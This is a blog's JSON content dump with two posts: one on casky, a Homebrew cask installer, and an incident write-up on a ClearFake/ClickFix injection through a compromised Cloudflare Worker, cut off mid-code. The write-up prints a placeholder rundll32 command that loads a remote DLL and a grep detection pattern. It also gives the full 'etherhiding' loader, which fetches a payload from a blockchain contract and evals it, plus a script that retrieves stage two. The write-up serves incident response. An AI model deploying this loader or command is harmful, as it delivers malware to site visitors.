[{"data":1,"prerenderedAt":3269},["ShallowReactive",2],{"posts":3},[4,226,2802,2986,3013],{"id":5,"title":6,"body":7,"date":209,"description":210,"excerpt":211,"extension":212,"meta":213,"navigation":214,"path":215,"seo":216,"stem":217,"tags":218,"til":224,"__hash__":225},"posts\u002Fposts\u002Fcasky.md","casky: batch cask installer for homebrew because every other package manager has one",{"type":8,"value":9,"toc":201},"minimark",[10,22,30,34,37,72,79,91,94,98,101,123,134,137,181,185,192],[11,12,13,14,21],"p",{},"so i built ",[15,16,20],"a",{"href":17,"rel":18},"https:\u002F\u002Fcasky.app",[19],"nofollow","casky",".",[11,23,24,25,29],{},"it's a web app that lets you tick a bunch of mac apps from the homebrew cask catalog, copy one ",[26,27,28],"code",{},"brew install --cask ..."," line, paste it into a fresh mac, and walk away. that's the whole product.",[31,32,33],"h2",{"id":33},"why",[11,35,36],{},"every other package manager already has this and homebrew doesn't.",[38,39,40,49,56,62],"ul",{},[41,42,43,44],"li",{},"winget → ",[15,45,48],{"href":46,"rel":47},"https:\u002F\u002Fwinstall.app",[19],"winstall.app",[41,50,51,52,55],{},"chocolatey → the official site lists everything, you copy ",[26,53,54],{},"choco install a b c"," and ship it",[41,57,58,59],{},"arch's aur → meta-packages and ",[26,60,61],{},"pacman -S - \u003C list.txt",[41,63,64,65,68,69],{},"debian\u002Fubuntu → ",[26,66,67],{},"tasksel",", plus the entire pre-seed ecosystem, plus ",[26,70,71],{},"apt install $(cat pkgs.txt)",[11,73,74,75,78],{},"homebrew cask can absolutely do ",[26,76,77],{},"brew install --cask a b c d"," — the binary supports it. what's missing is the discovery surface. the thing that lets you scroll through ~7000 casks, tick the twenty you actually want on a new mac, and end up with a single line.",[11,80,81,86,87,90],{},[15,82,85],{"href":83,"rel":84},"https:\u002F\u002Fmacapps.link",[19],"macapps.link"," used to be that thing. it was a curated, hand-maintained list of ",[26,88,89],{},".pkg"," urls wrapped in a one-liner script. great idea, but the maintainer stepped away years ago, the list froze, and the urls rot the way hardcoded download links always do. nobody replaced it.",[11,92,93],{},"so casky is a revival of the idea, but cheating: instead of curating apps by hand, it pulls the entire live homebrew cask catalog from brew formulaes and lets you build your line from that. when homebrew updates the catalog, casky updates with it. no maintenance treadmill.",[31,95,97],{"id":96},"for-whom","for whom",[11,99,100],{},"three people:",[102,103,104,111,117],"ol",{},[41,105,106,110],{},[107,108,109],"strong",{},"sysadmins doing mass mac rollouts."," company buys twenty MacBooks, someone has to set them up. ticking apps in a UI and pasting one line into each new machine beats the hell out of a per-app dance through twenty installer DMGs.",[41,112,113,116],{},[107,114,115],{},"people setting up their own new mac."," every couple years you do this once and forget the list you used last time. casky lets you share a link with your selections, so you can bookmark \"my new mac kit\" and never think about it again.",[41,118,119,122],{},[107,120,121],{},"people sending a setup link to a less technical friend."," \"open terminal, paste this, hit enter.\" done.",[11,124,125,126,129,130,133],{},"it's not trying to replace ",[26,127,128],{},"brew bundle"," and a ",[26,131,132],{},"Brewfile"," for people who already live in dotfiles. those people are sorted. it's for the much larger group who don't want to write a brewfile and just want to click stuff.",[31,135,136],{"id":136},"stack",[38,138,139,145,151,157,163,169,175],{},[41,140,141,144],{},[107,142,143],{},"bun + vite + react + typescript."," bun because the dev loop is fast and i didn't need anything node-specific. vite for the build. react 19 because i aimed of doing this as a portfolio project.",[41,146,147,150],{},[107,148,149],{},"park ui (ark ui primitives) + panda css."," ark gives you headless behavior, park ui gives you styled recipes on top, panda compiles your styles to atomic css at build time. zero runtime style cost.",[41,152,153,156],{},[107,154,155],{},"zustand"," for cart + filters + catalog. it's three slices and ~150 lines, react built-in state management sucks so this is the simplest way.",[41,158,159,162],{},[107,160,161],{},"fuse.js"," for fuzzy search across ~7000 casks. indexed once on catalog load, queries are sub-ms.",[41,164,165,168],{},[107,166,167],{},"react virtuoso"," for the grid virtualization. you cannot render 7000 DOM nodes and expect the page to be useable.",[41,170,171,174],{},[107,172,173],{},"framer motion"," for the cool animations.",[41,176,177,180],{},[107,178,179],{},"idb-keyval"," wrapping indexeddb for a stale-while-revalidate cache of the catalog. first visit fetches ~7000 casks, every subsequent visit reads from indexeddb instantly and revalidates in the background after 24h.",[31,182,184],{"id":183},"the-share-url-trick","the share URL trick",[11,186,187,188,191],{},"selections are encoded into the URL path — ",[26,189,190],{},"casky.app\u002Fshare\u002F\u003Cencoded>"," — so links round-trip a full selection without any backend. the client decodes the path on load and rehydrates the cart.",[11,193,194,195,200],{},"repo: ",[15,196,199],{"href":197,"rel":198},"https:\u002F\u002Fgithub.com\u002Favr6ude\u002Fcasky",[19],"github.com\u002Favr6ude\u002Fcasky",". cask metadata is homebrew's. if you find yourself wishing it had a \"kits\" page for, say, \"data engineering on a fresh mac\" or \"videographer starter pack\", PRs are more than welcome.",{"title":202,"searchDepth":203,"depth":203,"links":204},"",2,[205,206,207,208],{"id":33,"depth":203,"text":33},{"id":96,"depth":203,"text":97},{"id":136,"depth":203,"text":136},{"id":183,"depth":203,"text":184},"2026-05-13","so i built casky.",null,"md",{},true,"\u002Fposts\u002Fcasky",{"title":6,"description":210},"posts\u002Fcasky",[219,220,221,222,223],"project","macos","homebrew","react","parkui",false,"iEbo0NdBP2d5j_UT4OL8IeNveWoftiezSBU1UISLPgk",{"id":227,"title":228,"body":229,"date":2790,"description":2791,"excerpt":211,"extension":212,"meta":2792,"navigation":214,"path":2793,"seo":2794,"stem":2795,"tags":2796,"til":224,"__hash__":2801},"posts\u002Fposts\u002Fclearfake-cloudflare-worker.md","someone popped my cloudflare and used a worker to inject malware on a site under my domain for 22 hours",{"type":8,"value":230,"toc":2776},[231,242,251,270,273,277,369,380,383,387,390,525,528,542,553,571,575,1316,1339,1342,1345,1349,1352,1481,1484,1509,1516,1520,1523,1529,1532,2235,2238,2244,2247,2250,2254,2257,2340,2343,2349,2352,2391,2394,2398,2405,2408,2411,2415,2418,2500,2503,2507,2510,2517,2524,2527,2531,2534,2563,2566,2570,2573,2580,2600,2609,2612,2621,2624,2640,2644,2759,2769,2772],[11,232,233,234,237,238,241],{},"a friend pinged me. it's his telegram mini-app, but it's running on a subdomain of mine — i registered the subdomain for him, dns goes through my cloudflare, that's the only thing tying me to it. a user of his messaged saying \"weird captcha on the site. it told me to press win+r and paste this.\" the command was a ",[26,235,236],{},"rundll32"," line loading a DLL from a hostile SMB share, with the function called by ordinal ",[26,239,240],{},"#1",". i'm not going to print the actual host because there are people who would copy-paste it just to see what it does, and that does what it says on the tin. so the shape was:",[243,244,249],"pre",{"className":245,"code":247,"language":248},[246],"language-text","rundll32.exe \\\\\u003Cmalicious-host>\\\u003Cshare>\\\u003Cpayload>.chk,#1\n","text",[26,250,247],{"__ignoreMap":202},[11,252,253,254,257,258,261,262,265,266,269],{},"windows happily fetches the DLL via the WebDAV fallback when SMB is blocked, and ",[26,255,256],{},"rundll32 ...,#1"," calls the DLL's exported function by ordinal 1. the user wasn't being attacked by an exploit. the user was being asked to ",[107,259,260],{},"run the malware themselves",", by hand, in the run dialog. this is the ",[107,263,264],{},"clickfix"," technique, industrialised by the ",[107,267,268],{},"clearfake"," campaign. it's everywhere in 2025-2026 because it's stupid and it works.",[11,271,272],{},"so a site on my domain was hosting clickfix. cool.",[31,274,276],{"id":275},"first-move-is-the-source-dirty","first move: is the source dirty",[243,278,282],{"className":279,"code":280,"language":281,"meta":202,"style":202},"language-bash shiki shiki-themes github-dark github-dark","grep -rni \\\n  --include='*.html' --include='*.js' --include='*.ts' --include='*.tsx' \\\n  --include='*.py' --include='*.yaml' --include='*.json' --include='*.sh' \\\n  -l '\u003Cmalicious-host>\\|\u003Cmalicious-share>\\|rundll32\\|navigator\\.clipboard\\|execCommand.*copy' \\\n  .\n","bash",[26,283,284,300,327,352,363],{"__ignoreMap":202},[285,286,289,293,297],"span",{"class":287,"line":288},"line",1,[285,290,292],{"class":291},"sFR8T","grep",[285,294,296],{"class":295},"s8ozJ"," -rni",[285,298,299],{"class":295}," \\\n",[285,301,302,305,309,312,315,317,320,322,325],{"class":287,"line":203},[285,303,304],{"class":295},"  --include=",[285,306,308],{"class":307},"s4wv1","'*.html'",[285,310,311],{"class":295}," --include=",[285,313,314],{"class":307},"'*.js'",[285,316,311],{"class":295},[285,318,319],{"class":307},"'*.ts'",[285,321,311],{"class":295},[285,323,324],{"class":307},"'*.tsx'",[285,326,299],{"class":295},[285,328,330,332,335,337,340,342,345,347,350],{"class":287,"line":329},3,[285,331,304],{"class":295},[285,333,334],{"class":307},"'*.py'",[285,336,311],{"class":295},[285,338,339],{"class":307},"'*.yaml'",[285,341,311],{"class":295},[285,343,344],{"class":307},"'*.json'",[285,346,311],{"class":295},[285,348,349],{"class":307},"'*.sh'",[285,351,299],{"class":295},[285,353,355,358,361],{"class":287,"line":354},4,[285,356,357],{"class":295},"  -l",[285,359,360],{"class":307}," '\u003Cmalicious-host>\\|\u003Cmalicious-share>\\|rundll32\\|navigator\\.clipboard\\|execCommand.*copy'",[285,362,299],{"class":295},[285,364,366],{"class":287,"line":365},5,[285,367,368],{"class":307},"  .\n",[11,370,371,372,375,376,379],{},"two hits on ",[26,373,374],{},"clipboard.writeText",". one copies the user's own integer ID to the clipboard for the \"copy id\" button. one copies a hardcoded ",[26,377,378],{},"https:\u002F\u002Ft.me\u002F\u003Cbot>?startapp=user_\u003Cid>"," for the \"copy share link\" button. nothing pointing to the malicious host, no rundll32 strings.",[11,381,382],{},"source is clean. injection is happening somewhere downstream.",[31,384,386],{"id":385},"bypass-the-cdn-hit-the-origin-direct","bypass the cdn, hit the origin direct",[11,388,389],{},"this is the single most useful incident response command i know:",[243,391,393],{"className":279,"code":392,"language":281,"meta":202,"style":202},"ORIGIN_IP=\u003Cthe unproxied A-record value from your CF DNS tab>\n\ncurl -sk --resolve hostname:443:$ORIGIN_IP \\\n  https:\u002F\u002Fhostname\u002F -o origin.html\n\ncurl -sk https:\u002F\u002Fhostname\u002F -o cf.html\n\nwc -c origin.html cf.html\n#  902 origin.html\n# 2866 cf.html\n",[26,394,395,438,443,463,474,478,493,498,512,519],{"__ignoreMap":202},[285,396,397,401,405,408,411,414,417,420,423,426,429,432,435],{"class":287,"line":288},[285,398,400],{"class":399},"suv1-","ORIGIN_IP",[285,402,404],{"class":403},"sOPea","=\u003C",[285,406,407],{"class":307},"the",[285,409,410],{"class":291}," unproxied",[285,412,413],{"class":307}," A-record",[285,415,416],{"class":307}," value",[285,418,419],{"class":307}," from",[285,421,422],{"class":307}," your",[285,424,425],{"class":307}," CF",[285,427,428],{"class":307}," DNS",[285,430,431],{"class":307}," ta",[285,433,434],{"class":399},"b",[285,436,437],{"class":403},">\n",[285,439,440],{"class":287,"line":203},[285,441,442],{"emptyLinePlaceholder":214},"\n",[285,444,445,448,451,454,457,460],{"class":287,"line":329},[285,446,447],{"class":291},"curl",[285,449,450],{"class":295}," -sk",[285,452,453],{"class":295}," --resolve",[285,455,456],{"class":307}," hostname:443:",[285,458,459],{"class":399},"$ORIGIN_IP ",[285,461,462],{"class":295},"\\\n",[285,464,465,468,471],{"class":287,"line":354},[285,466,467],{"class":307},"  https:\u002F\u002Fhostname\u002F",[285,469,470],{"class":295}," -o",[285,472,473],{"class":307}," origin.html\n",[285,475,476],{"class":287,"line":365},[285,477,442],{"emptyLinePlaceholder":214},[285,479,481,483,485,488,490],{"class":287,"line":480},6,[285,482,447],{"class":291},[285,484,450],{"class":295},[285,486,487],{"class":307}," https:\u002F\u002Fhostname\u002F",[285,489,470],{"class":295},[285,491,492],{"class":307}," cf.html\n",[285,494,496],{"class":287,"line":495},7,[285,497,442],{"emptyLinePlaceholder":214},[285,499,501,504,507,510],{"class":287,"line":500},8,[285,502,503],{"class":291},"wc",[285,505,506],{"class":295}," -c",[285,508,509],{"class":307}," origin.html",[285,511,492],{"class":307},[285,513,515],{"class":287,"line":514},9,[285,516,518],{"class":517},"sJ8bj","#  902 origin.html\n",[285,520,522],{"class":287,"line":521},10,[285,523,524],{"class":517},"# 2866 cf.html\n",[11,526,527],{},"the bytes don't match.",[243,529,531],{"className":279,"code":530,"language":281,"meta":202,"style":202},"diff origin.html cf.html\n",[26,532,533],{"__ignoreMap":202},[285,534,535,538,540],{"class":287,"line":288},[285,536,537],{"class":291},"diff",[285,539,509],{"class":307},[285,541,492],{"class":307},[11,543,544,545,548,549,552],{},"the diff is one line. a ",[26,546,547],{},"\u003Cscript>"," block injected before ",[26,550,551],{},"\u003C\u002Fbody>",". so the origin VM is fine. the bundle and CSS are fine (greps return 0). the box i would have spent the next two hours forensically combing isn't actually compromised. the injection is happening at cloudflare.",[11,554,555,558,559,562,563,566,567,570],{},[26,556,557],{},"server: cloudflare",", ",[26,560,561],{},"cf-ray",", no ",[26,564,565],{},"etag"," (cloudflare strips etag whenever it modifies the body), no ",[26,568,569],{},"cf-cache-status"," (cloudflare doesn't cache html by default, and even if it did, the worker runs on every request anyway). consistent across user-agents (chrome, curl, telegram-android, googlebot). it's not gating per visitor. every html response gets the loader.",[31,572,574],{"id":573},"the-injected-script","the injected script",[243,576,580],{"className":577,"code":578,"language":579,"meta":202,"style":202},"language-js shiki shiki-themes github-dark github-dark","async function load_(address) {\n  let uint8ArrayToHexString = t => {\n    let e = \"0x\";\n    for (const a of t) {\n      const t = a.toString(16);\n      e += 1 === t.length ? `0${t}` : t\n    }\n    return e\n  };\n  _data = {\n    method: \"eth_call\",\n    params: [{ to: address, data: \"0x6d4ce63c\" }, \"latest\"],\n    id: 97, jsonrpc: \"2.0\"\n  };\n  _config = {\n    method: \"POST\",\n    headers: { Accept: \"application\u002Fjson\", \"Content-Type\": \"application\u002Fjson\" },\n    body: JSON.stringify(_data)\n  };\n  url = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\";\n  response = await fetch(url, _config);\n  answer = (await response.json()).result.slice(2);\n  unhexed = new Uint8Array(answer.match(\u002F[\\da-f]{2}\u002Fgi).map(t => parseInt(t, 16)));\n  offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32)));\n  len = Number(uint8ArrayToHexString(unhexed.slice(32, 32 + offset)));\n  value = String.fromCharCode.apply(null, unhexed.slice(32 + offset, 32 + offset + len));\n  eval(atob(value))\n}\n\nconst isHeadless = () => { \u002F* sandbox checks *\u002F };\nconst isLocalhost = () => { \u002F* dev-env checks *\u002F };\nconst isWindows = navigator.userAgent.includes(\"Windows\") || \u002F* … *\u002F;\nconst isMac     = navigator.userAgent.includes(\"Macintosh\") || \u002F* … *\u002F;\n\nisHeadless() || isLocalhost()\n  ? console.log(\"stop watching us :)\")\n  : isWindows ? load_(\"0x\u003Credacted-windows-contract>\")\n  : isMac     ? load_(\"0x\u003Credacted-mac-contract>\")\n  : null;\n","js",[26,581,582,603,623,640,660,683,721,726,734,739,748,760,778,793,798,808,818,840,857,862,875,892,924,983,1016,1048,1094,1108,1114,1119,1144,1165,1197,1225,1230,1246,1266,1287,1306],{"__ignoreMap":202},[285,583,584,587,590,593,596,600],{"class":287,"line":288},[285,585,586],{"class":403},"async",[285,588,589],{"class":403}," function",[285,591,592],{"class":291}," load_",[285,594,595],{"class":399},"(",[285,597,599],{"class":598},"s-3mD","address",[285,601,602],{"class":399},") {\n",[285,604,605,608,611,614,617,620],{"class":287,"line":203},[285,606,607],{"class":403},"  let",[285,609,610],{"class":291}," uint8ArrayToHexString",[285,612,613],{"class":403}," =",[285,615,616],{"class":598}," t",[285,618,619],{"class":403}," =>",[285,621,622],{"class":399}," {\n",[285,624,625,628,631,634,637],{"class":287,"line":329},[285,626,627],{"class":403},"    let",[285,629,630],{"class":399}," e ",[285,632,633],{"class":403},"=",[285,635,636],{"class":307}," \"0x\"",[285,638,639],{"class":399},";\n",[285,641,642,645,648,651,654,657],{"class":287,"line":354},[285,643,644],{"class":403},"    for",[285,646,647],{"class":399}," (",[285,649,650],{"class":403},"const",[285,652,653],{"class":295}," a",[285,655,656],{"class":403}," of",[285,658,659],{"class":399}," t) {\n",[285,661,662,665,667,669,672,675,677,680],{"class":287,"line":365},[285,663,664],{"class":403},"      const",[285,666,616],{"class":295},[285,668,613],{"class":403},[285,670,671],{"class":399}," a.",[285,673,674],{"class":291},"toString",[285,676,595],{"class":399},[285,678,679],{"class":295},"16",[285,681,682],{"class":399},");\n",[285,684,685,688,691,694,697,700,703,706,709,712,715,718],{"class":287,"line":480},[285,686,687],{"class":399},"      e ",[285,689,690],{"class":403},"+=",[285,692,693],{"class":295}," 1",[285,695,696],{"class":403}," ===",[285,698,699],{"class":399}," t.",[285,701,702],{"class":295},"length",[285,704,705],{"class":403}," ?",[285,707,708],{"class":307}," `0${",[285,710,711],{"class":399},"t",[285,713,714],{"class":307},"}`",[285,716,717],{"class":403}," :",[285,719,720],{"class":399}," t\n",[285,722,723],{"class":287,"line":495},[285,724,725],{"class":399},"    }\n",[285,727,728,731],{"class":287,"line":500},[285,729,730],{"class":403},"    return",[285,732,733],{"class":399}," e\n",[285,735,736],{"class":287,"line":514},[285,737,738],{"class":399},"  };\n",[285,740,741,744,746],{"class":287,"line":521},[285,742,743],{"class":399},"  _data ",[285,745,633],{"class":403},[285,747,622],{"class":399},[285,749,751,754,757],{"class":287,"line":750},11,[285,752,753],{"class":399},"    method: ",[285,755,756],{"class":307},"\"eth_call\"",[285,758,759],{"class":399},",\n",[285,761,763,766,769,772,775],{"class":287,"line":762},12,[285,764,765],{"class":399},"    params: [{ to: address, data: ",[285,767,768],{"class":307},"\"0x6d4ce63c\"",[285,770,771],{"class":399}," }, ",[285,773,774],{"class":307},"\"latest\"",[285,776,777],{"class":399},"],\n",[285,779,781,784,787,790],{"class":287,"line":780},13,[285,782,783],{"class":399},"    id: ",[285,785,786],{"class":295},"97",[285,788,789],{"class":399},", jsonrpc: ",[285,791,792],{"class":307},"\"2.0\"\n",[285,794,796],{"class":287,"line":795},14,[285,797,738],{"class":399},[285,799,801,804,806],{"class":287,"line":800},15,[285,802,803],{"class":399},"  _config ",[285,805,633],{"class":403},[285,807,622],{"class":399},[285,809,811,813,816],{"class":287,"line":810},16,[285,812,753],{"class":399},[285,814,815],{"class":307},"\"POST\"",[285,817,759],{"class":399},[285,819,821,824,827,829,832,835,837],{"class":287,"line":820},17,[285,822,823],{"class":399},"    headers: { Accept: ",[285,825,826],{"class":307},"\"application\u002Fjson\"",[285,828,558],{"class":399},[285,830,831],{"class":307},"\"Content-Type\"",[285,833,834],{"class":399},": ",[285,836,826],{"class":307},[285,838,839],{"class":399}," },\n",[285,841,843,846,849,851,854],{"class":287,"line":842},18,[285,844,845],{"class":399},"    body: ",[285,847,848],{"class":295},"JSON",[285,850,21],{"class":399},[285,852,853],{"class":291},"stringify",[285,855,856],{"class":399},"(_data)\n",[285,858,860],{"class":287,"line":859},19,[285,861,738],{"class":399},[285,863,865,868,870,873],{"class":287,"line":864},20,[285,866,867],{"class":399},"  url ",[285,869,633],{"class":403},[285,871,872],{"class":307}," \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"",[285,874,639],{"class":399},[285,876,878,881,883,886,889],{"class":287,"line":877},21,[285,879,880],{"class":399},"  response ",[285,882,633],{"class":403},[285,884,885],{"class":403}," await",[285,887,888],{"class":291}," fetch",[285,890,891],{"class":399},"(url, _config);\n",[285,893,895,898,900,902,905,908,911,914,917,919,922],{"class":287,"line":894},22,[285,896,897],{"class":399},"  answer ",[285,899,633],{"class":403},[285,901,647],{"class":399},[285,903,904],{"class":403},"await",[285,906,907],{"class":399}," response.",[285,909,910],{"class":291},"json",[285,912,913],{"class":399},"()).result.",[285,915,916],{"class":291},"slice",[285,918,595],{"class":399},[285,920,921],{"class":295},"2",[285,923,682],{"class":399},[285,925,927,930,932,935,938,941,944,946,949,952,955,957,960,963,966,968,970,972,975,978,980],{"class":287,"line":926},23,[285,928,929],{"class":399},"  unhexed ",[285,931,633],{"class":403},[285,933,934],{"class":403}," new",[285,936,937],{"class":291}," Uint8Array",[285,939,940],{"class":399},"(answer.",[285,942,943],{"class":291},"match",[285,945,595],{"class":399},[285,947,948],{"class":307},"\u002F",[285,950,951],{"class":295},"[\\da-f]",[285,953,954],{"class":403},"{2}",[285,956,948],{"class":307},[285,958,959],{"class":403},"gi",[285,961,962],{"class":399},").",[285,964,965],{"class":291},"map",[285,967,595],{"class":399},[285,969,711],{"class":598},[285,971,619],{"class":403},[285,973,974],{"class":291}," parseInt",[285,976,977],{"class":399},"(t, ",[285,979,679],{"class":295},[285,981,982],{"class":399},")));\n",[285,984,986,989,991,994,996,999,1002,1004,1006,1009,1011,1014],{"class":287,"line":985},24,[285,987,988],{"class":399},"  offset ",[285,990,633],{"class":403},[285,992,993],{"class":291}," Number",[285,995,595],{"class":399},[285,997,998],{"class":291},"uint8ArrayToHexString",[285,1000,1001],{"class":399},"(unhexed.",[285,1003,916],{"class":291},[285,1005,595],{"class":399},[285,1007,1008],{"class":295},"0",[285,1010,558],{"class":399},[285,1012,1013],{"class":295},"32",[285,1015,982],{"class":399},[285,1017,1019,1022,1024,1026,1028,1030,1032,1034,1036,1038,1040,1042,1045],{"class":287,"line":1018},25,[285,1020,1021],{"class":399},"  len ",[285,1023,633],{"class":403},[285,1025,993],{"class":291},[285,1027,595],{"class":399},[285,1029,998],{"class":291},[285,1031,1001],{"class":399},[285,1033,916],{"class":291},[285,1035,595],{"class":399},[285,1037,1013],{"class":295},[285,1039,558],{"class":399},[285,1041,1013],{"class":295},[285,1043,1044],{"class":403}," +",[285,1046,1047],{"class":399}," offset)));\n",[285,1049,1051,1054,1056,1059,1062,1064,1067,1070,1072,1074,1076,1078,1081,1083,1085,1088,1091],{"class":287,"line":1050},26,[285,1052,1053],{"class":399},"  value ",[285,1055,633],{"class":403},[285,1057,1058],{"class":399}," String.fromCharCode.",[285,1060,1061],{"class":291},"apply",[285,1063,595],{"class":399},[285,1065,1066],{"class":295},"null",[285,1068,1069],{"class":399},", unhexed.",[285,1071,916],{"class":291},[285,1073,595],{"class":399},[285,1075,1013],{"class":295},[285,1077,1044],{"class":403},[285,1079,1080],{"class":399}," offset, ",[285,1082,1013],{"class":295},[285,1084,1044],{"class":403},[285,1086,1087],{"class":399}," offset ",[285,1089,1090],{"class":403},"+",[285,1092,1093],{"class":399}," len));\n",[285,1095,1097,1100,1102,1105],{"class":287,"line":1096},27,[285,1098,1099],{"class":291},"  eval",[285,1101,595],{"class":399},[285,1103,1104],{"class":291},"atob",[285,1106,1107],{"class":399},"(value))\n",[285,1109,1111],{"class":287,"line":1110},28,[285,1112,1113],{"class":399},"}\n",[285,1115,1117],{"class":287,"line":1116},29,[285,1118,442],{"emptyLinePlaceholder":214},[285,1120,1122,1124,1127,1129,1132,1135,1138,1141],{"class":287,"line":1121},30,[285,1123,650],{"class":403},[285,1125,1126],{"class":291}," isHeadless",[285,1128,613],{"class":403},[285,1130,1131],{"class":399}," () ",[285,1133,1134],{"class":403},"=>",[285,1136,1137],{"class":399}," { ",[285,1139,1140],{"class":517},"\u002F* sandbox checks *\u002F",[285,1142,1143],{"class":399}," };\n",[285,1145,1147,1149,1152,1154,1156,1158,1160,1163],{"class":287,"line":1146},31,[285,1148,650],{"class":403},[285,1150,1151],{"class":291}," isLocalhost",[285,1153,613],{"class":403},[285,1155,1131],{"class":399},[285,1157,1134],{"class":403},[285,1159,1137],{"class":399},[285,1161,1162],{"class":517},"\u002F* dev-env checks *\u002F",[285,1164,1143],{"class":399},[285,1166,1168,1170,1173,1175,1178,1181,1183,1186,1189,1192,1195],{"class":287,"line":1167},32,[285,1169,650],{"class":403},[285,1171,1172],{"class":295}," isWindows",[285,1174,613],{"class":403},[285,1176,1177],{"class":399}," navigator.userAgent.",[285,1179,1180],{"class":291},"includes",[285,1182,595],{"class":399},[285,1184,1185],{"class":307},"\"Windows\"",[285,1187,1188],{"class":399},") ",[285,1190,1191],{"class":403},"||",[285,1193,1194],{"class":517}," \u002F* … *\u002F",[285,1196,639],{"class":399},[285,1198,1200,1202,1205,1208,1210,1212,1214,1217,1219,1221,1223],{"class":287,"line":1199},33,[285,1201,650],{"class":403},[285,1203,1204],{"class":295}," isMac",[285,1206,1207],{"class":403},"     =",[285,1209,1177],{"class":399},[285,1211,1180],{"class":291},[285,1213,595],{"class":399},[285,1215,1216],{"class":307},"\"Macintosh\"",[285,1218,1188],{"class":399},[285,1220,1191],{"class":403},[285,1222,1194],{"class":517},[285,1224,639],{"class":399},[285,1226,1228],{"class":287,"line":1227},34,[285,1229,442],{"emptyLinePlaceholder":214},[285,1231,1233,1236,1239,1241,1243],{"class":287,"line":1232},35,[285,1234,1235],{"class":291},"isHeadless",[285,1237,1238],{"class":399},"() ",[285,1240,1191],{"class":403},[285,1242,1151],{"class":291},[285,1244,1245],{"class":399},"()\n",[285,1247,1249,1252,1255,1258,1260,1263],{"class":287,"line":1248},36,[285,1250,1251],{"class":403},"  ?",[285,1253,1254],{"class":399}," console.",[285,1256,1257],{"class":291},"log",[285,1259,595],{"class":399},[285,1261,1262],{"class":307},"\"stop watching us :)\"",[285,1264,1265],{"class":399},")\n",[285,1267,1269,1272,1275,1278,1280,1282,1285],{"class":287,"line":1268},37,[285,1270,1271],{"class":403},"  :",[285,1273,1274],{"class":399}," isWindows ",[285,1276,1277],{"class":403},"?",[285,1279,592],{"class":291},[285,1281,595],{"class":399},[285,1283,1284],{"class":307},"\"0x\u003Credacted-windows-contract>\"",[285,1286,1265],{"class":399},[285,1288,1290,1292,1295,1297,1299,1301,1304],{"class":287,"line":1289},38,[285,1291,1271],{"class":403},[285,1293,1294],{"class":399}," isMac     ",[285,1296,1277],{"class":403},[285,1298,592],{"class":291},[285,1300,595],{"class":399},[285,1302,1303],{"class":307},"\"0x\u003Credacted-mac-contract>\"",[285,1305,1265],{"class":399},[285,1307,1309,1311,1314],{"class":287,"line":1308},39,[285,1310,1271],{"class":403},[285,1312,1313],{"class":295}," null",[285,1315,639],{"class":399},[11,1317,1318,1319,1322,1323,1326,1327,1330,1331,1334,1335,1338],{},"this is ",[107,1320,1321],{},"etherhiding",". the payload isn't on a server. it's on a smart contract. ",[26,1324,1325],{},"0x6d4ce63c"," is the function selector for ",[26,1328,1329],{},"get()",". the loader calls ",[26,1332,1333],{},"eth_call"," against the contract, ABI-decodes the returned string, base64-decodes it, and ",[26,1336,1337],{},"eval","s it.",[11,1340,1341],{},"two contracts on bsc testnet, one per OS — i'm redacting their addresses so the post doesn't drive curiosity traffic to them. mobile (ios\u002Fandroid) is skipped — the loader runs but the windows\u002Fmac branch never fires, so phone visitors never got the captcha. small mercy for telegram mini-app traffic, which is mostly mobile.",[11,1343,1344],{},"the operational appeal of etherhiding for the attacker: they can rotate the malware payload by sending a single transaction to the contract. they don't need to log back into your cloudflare. they don't need to touch your server. they don't need to maintain a c2 host. the bsc rpc is publicnode, they can't take it down. there's no domain to seize.",[31,1346,1348],{"id":1347},"stage-two","stage two",[11,1350,1351],{},"just to confirm the chain ends at what the user reported:",[243,1353,1357],{"className":1354,"code":1355,"language":1356,"meta":202,"style":202},"language-python shiki shiki-themes github-dark github-dark","import json, base64, urllib.request\n\nreq = urllib.request.Request(\n    \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\",\n    method=\"POST\",\n    headers={\"Content-Type\": \"application\u002Fjson\"},\n    data=json.dumps({\n        \"method\": \"eth_call\",\n        \"params\": [\n            {\"to\": \"0x\u003Credacted-stage1-contract>\", \"data\": \"0x6d4ce63c\"},\n            \"latest\"\n        ],\n        \"id\": 1, \"jsonrpc\": \"2.0\"\n    }).encode()\n)\nresult = json.load(urllib.request.urlopen(req))[\"result\"]\n\nb = bytes.fromhex(result[2:])\noffset = int.from_bytes(b[0:32], \"big\")\nlength = int.from_bytes(b[offset:offset+32], \"big\")\nb64 = b[offset+32 : offset+32+length].decode()\njs = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\nopen(\"stage2.js\", \"w\").write(js)\nprint(len(js), \"bytes\")\n# 42752 bytes\n","python",[26,1358,1359,1364,1368,1373,1378,1383,1388,1393,1398,1403,1408,1413,1418,1423,1428,1432,1437,1441,1446,1451,1456,1461,1466,1471,1476],{"__ignoreMap":202},[285,1360,1361],{"class":287,"line":288},[285,1362,1363],{},"import json, base64, urllib.request\n",[285,1365,1366],{"class":287,"line":203},[285,1367,442],{"emptyLinePlaceholder":214},[285,1369,1370],{"class":287,"line":329},[285,1371,1372],{},"req = urllib.request.Request(\n",[285,1374,1375],{"class":287,"line":354},[285,1376,1377],{},"    \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\",\n",[285,1379,1380],{"class":287,"line":365},[285,1381,1382],{},"    method=\"POST\",\n",[285,1384,1385],{"class":287,"line":480},[285,1386,1387],{},"    headers={\"Content-Type\": \"application\u002Fjson\"},\n",[285,1389,1390],{"class":287,"line":495},[285,1391,1392],{},"    data=json.dumps({\n",[285,1394,1395],{"class":287,"line":500},[285,1396,1397],{},"        \"method\": \"eth_call\",\n",[285,1399,1400],{"class":287,"line":514},[285,1401,1402],{},"        \"params\": [\n",[285,1404,1405],{"class":287,"line":521},[285,1406,1407],{},"            {\"to\": \"0x\u003Credacted-stage1-contract>\", \"data\": \"0x6d4ce63c\"},\n",[285,1409,1410],{"class":287,"line":750},[285,1411,1412],{},"            \"latest\"\n",[285,1414,1415],{"class":287,"line":762},[285,1416,1417],{},"        ],\n",[285,1419,1420],{"class":287,"line":780},[285,1421,1422],{},"        \"id\": 1, \"jsonrpc\": \"2.0\"\n",[285,1424,1425],{"class":287,"line":795},[285,1426,1427],{},"    }).encode()\n",[285,1429,1430],{"class":287,"line":800},[285,1431,1265],{},[285,1433,1434],{"class":287,"line":810},[285,1435,1436],{},"result = 